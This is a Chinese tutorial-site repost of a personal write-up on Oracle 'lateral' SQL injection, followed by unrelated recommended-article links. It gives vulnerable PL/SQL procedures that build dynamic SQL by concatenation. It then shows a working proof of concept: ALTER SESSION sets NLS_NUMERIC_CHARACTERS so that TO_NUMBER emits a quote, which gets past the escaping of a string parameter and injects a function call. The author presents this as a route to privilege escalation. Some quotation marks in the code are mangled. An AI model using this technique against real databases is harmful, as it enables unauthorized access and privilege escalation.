ORACLE LATERAL-SQL-INJECTION 个人见解

美宝洋伞

美宝洋伞

2016-02-19 09:59

下面图老师小编跟大家分享一个简单易学的ORACLE LATERAL-SQL-INJECTION 个人见解教程,get新技能是需要行动的,喜欢的朋友赶紧收藏起来学习下吧!
如果直接执行SQL语句或者参数绑定则不用担心太多,
如以下ORACLE存储过程
create or replace procedure kjdatepoc(date d)

as

begin

insert into kjdatetable values(d);

commit;

end;

根本不需要担心遭受到SQL新型注入攻击,那么在什么地方会发生DATE 以及 NUMBER的注入攻击呢!?一般都是采用了动态SQL而又不采用参数绑定的语句。

例如工程师经常用的DBMS_SQL或者EXECUTE IMMEDIATE

看以下存储过程

create or replace procedure kjdatepoc(date d)

as

begin

execute immediate ‘insert into kjdatetable values('|| d ||')';

commit;

end;

那么遇到以上的存储过程或者函数等,也通过修改SESSION中的NLS_DATE_FORMAT中的值达到SQL注射的目的,

老外的PAPER讲解得非常详细了 ,我在这里也不废话。

惟独对于 NUMBER类型的注射没有多作讲解 只是简单演示了可以输出单引号!

看以下语句

ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';

SELECT to_number(1000.10001,'999999D99999′)||” FROM DUAL;

输出一下结果

1000′10001

只是多了一个单引号,那有什么用呢?乐观的来说!在特定情况下是很有价值的!看以下一个存储过程

create or replace procedure NumInjPoc(kjexpnum number,kjexpstr varchar2)

is

SecStr varchar2(1000);

begin

SecStr:=replace(kjexpstr,””,”””);

sys.dbms_output.put_line('SELECT * FROM DUAL WHERE ID='||kjexpnum||' and name=”'||SecStr||””);

end;

内部对varchar类型进行替换了!我们可以进行测试

begin

numinjpoc(1000,”'–');

end;

其输出SQL语句为

SELECT * FROM DUAL WHERE ID=1000 and name=”'–'

单引号被转义掉了

那么如果我们结合这个NUMBER类型怎么进行注射呢?

ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';

begin

numinjpoc(TO_NUMBER(0.10001,'999999D99999′),'||kj.exp()–');

end;

看看输出结果

SELECT * FROM DUAL WHERE ID='10001 and name='||kj.exp()–'

这样就可以间接的攻击它…

在某中程度才来需要ALTER SESSION 配合后,再去攻击系统内部的一些函数或者过程来提升权限。未尝不是一种好的突破思路,但是对于单语句进行SQL注射攻击,以结果为向导的话!这样的方式没多大作为。
展开更多 50%)
分享

猜你喜欢

ORACLE LATERAL-SQL-INJECTION 个人见解

编程语言 网络编程
ORACLE LATERAL-SQL-INJECTION 个人见解

《海岛大亨3》游戏新手攻略及个人见解

电脑网络
《海岛大亨3》游戏新手攻略及个人见解

s8lol主宰符文怎么配

英雄联盟 网络游戏
s8lol主宰符文怎么配

《海岛大亨3》游戏新手攻略和个人见解

电脑网络
《海岛大亨3》游戏新手攻略和个人见解

《暗黑3》关于武器的dps的个人见解

暗黑3
《暗黑3》关于武器的dps的个人见解

lol偷钱流符文搭配推荐

英雄联盟 网络游戏
lol偷钱流符文搭配推荐

《FIFA足球经理11》关于战术设置的个人见解

电脑网络
《FIFA足球经理11》关于战术设置的个人见解

《鹰击长空2》中关于隐形飞机的个人见解

电脑网络
《鹰击长空2》中关于隐形飞机的个人见解

lolAD刺客新符文搭配推荐

英雄联盟
lolAD刺客新符文搭配推荐

sql2008设置subcategory报表参数可用值和默认值步骤分享

sql2008设置subcategory报表参数可用值和默认值步骤分享

基于Turbo C(V2.0)编译错误信息的详细介绍

基于Turbo C(V2.0)编译错误信息的详细介绍
下拉加载更多内容 ↓